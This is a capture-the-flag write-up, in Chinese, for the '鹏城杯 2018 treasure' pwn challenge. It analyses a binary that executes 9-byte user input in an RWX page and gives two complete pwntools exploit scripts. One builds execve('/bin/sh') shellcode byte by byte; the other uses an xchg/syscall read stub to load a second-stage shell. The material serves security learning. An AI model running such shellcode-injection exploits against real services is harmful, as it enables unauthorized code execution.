鹏城杯_2018_treasure

好玩啊好玩

1
2
3
4
5
6
7
8
9
10
$ checksec pwn
[*] '/mnt/hgfs/E/CTF/pwn学习/好靶场/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
$ file pwn
pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2c4290d9d42f57413374e2c8a0d440a842ddace8, not stripped

64位,NX开,Partial RELRO

1
2
3
4
5
6
int __fastcall main(int argc, const char argv, const char envp)
{
settreasure(argc, argv, envp);
treasure();
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
void *__fastcall settreasure(int argc, const char argv, const char envp)
{
unsigned int seed; // eax
int v5; // [rsp+Ch] [rbp-4h]

sea = (__int64)mmap(0, 0x1000u, 3, 34, -1, 0);
code = mmap(0, 0x1000u, 3, 34, -1, 0);
seed = time(0);
srand(seed);
v5 = rand() % 900;
memcpy((void *)(sea + v5), "TREASURE", 8u);
memcpy((void *)(sea + v5), &shellcode, 0x26u);
return memset(&shellcode, 0, 0x25u);
}

settreasure这个函数就是唬人的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
__int64 treasure()
{
__int64 n_n_; // rax

puts("Do you want my treasure? Find them yourself! It's shellcode!\n");
fflush(stdout);
make_code_executable(code, 10);
while ( 1 )
{
printf("will you continue?(enter 'n' to quit) :");
fflush(stdout);
read(0, code, 1u);
n_n_ = *(unsigned __int8 *)code;
if ( (_BYTE)n_n_ == 'n' )
break;
getchar();
printf("start!!!!");
fflush(stdout);
getsn((char *)code + 1, 9);
if ( !*((_BYTE *)code + 10) )
memcpy((char *)code + 10, &src_, sizeof(char));
// .rodata:0000000000400C2A C3 src_ db 0C3h
// ret的机器码
ret = ((__int64 (__fastcall *)(_QWORD))((char *)code + 1))((unsigned int)ret);
}
return n_n_;
}

检测code第一个字节是不是n,是n则退出。读取接下来9字节,并存储,最后自动附上ret。我们先来动调一下:

我这里敲了回车,rax指向并存入了一块可读可写可执行的区域

然后可以循环执行,查看栈上信息,发现他的的确确写上去了

法一:

参考/优化:BUUCTF_鹏城杯_2018_treasure - ZikH26 - 博客园

这里我们有第一个办法,每次只能写入9字节,所以把64位shellcode拆成很多份,每次传入9字节以内的shellcode,最后跳转执行。发现rdx指向的是那个rwx的地址,所以用

1
2
3
push shellcode_gadget(每次1个字节)
pop rdx+0x20(这里给一点偏移量,在rwx的区间即可,每次循环向后移1字节即可)
ret

1
2
3
4
5
6
7
8
9
10
11
12
13
# 64位shellcode
shellcode = asm(
'''xor esi, esi
push rsi
mov rbx, 0x68732f2f6e69622f
push rbx
push rsp
pop rdi
push 59
pop rax
cdq
syscall'''
)

Online x86 and x64 Intel Instruction Assembler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
context(arch='amd64',os = 'linux', log_level = 'debug')
p = process(r'/mnt/hgfs/E/CTF/pwn学习/好靶场/pwn')

p.sendlineafter("will you continue?(enter 'n' to quit) :",b'd')
asm_code = asm('''
push 0x31
pop qword ptr [rdx+0x20]
ret
''')
p.sendafter('start!!!!',asm_code)

shellcode = b"\xF6\x56\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x54\x5F\x6A\x3B\x58\x99\x0F\x05"



for i, byte_val in enumerate(shellcode):
# 获取字节的十六进制表示
hex_byte = hex(byte_val)

# 生成汇编代码
asm_code = asm(f'''
push {hex_byte}
pop [rdx+{i+0x21}]
ret
''')
p.sendlineafter("will you continue?(enter 'n' to quit) :",b'd')
p.sendafter('start!!!!',asm_code)
# 跳转执行
asm_code = asm(f'''
add rdx,0x20
jmp rdx
''')
p.sendlineafter("will you continue?(enter 'n' to quit) :",b'd')
p.sendafter('start!!!!',asm_code)
p.interactive()

法二

这里引入一个汇编:xchg,即交换两个寄存器的值

1
2
3
4
rax = 0
rdx = code+1
rsi = 0x400c2a 指向ret
rdi = 0

此时如果说把rsi和rdx两个值交换,之后syscall(rax此时是0,不就是read的系统调用吗)

1
2
3
4
5
6
ssize_t read(int fd, void * buf, size_t count);
read(rdi, rsi, rdx)
rdx = 0x400c2a 指向ret
rsi = code+1
rdi = 0
read(0, 0x7f40cde4a001, 0x400c2a)

就可以读取写入的shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = process(r'/mnt/hgfs/E/CTF/pwn学习/好靶场/pwn')

p.sendlineafter("will you continue?(enter 'n' to quit) :", b'y')

stage1 = asm('''
xchg rdx, rsi
syscall
ret
''')

p.sendafter('start!!!!', stage1)
p.sendline(b'a'*5 + asm(shellcraft.execve("/bin/sh")))
# 当然不确定要跳过多长的话写成这样也可以:
# p.sendline(b'\x90'*10 + asm(shellcraft.execve("/bin/sh")))
p.interactive()
1
2
3
4
# 因为rsi指向ret所以也可以这样写
xchg rdx, rsi
syscall
call rsi

把上述信息搞懂之后就可以用各种花里胡哨的东西了,只要不超过9字节:

1
2
3
4
5
mov rsi,rdx
push 100
pop rdx
syscall
ret
1
2
3
4
5
6
push rdx
pop rsi
push 100
pop rdx
syscall
ret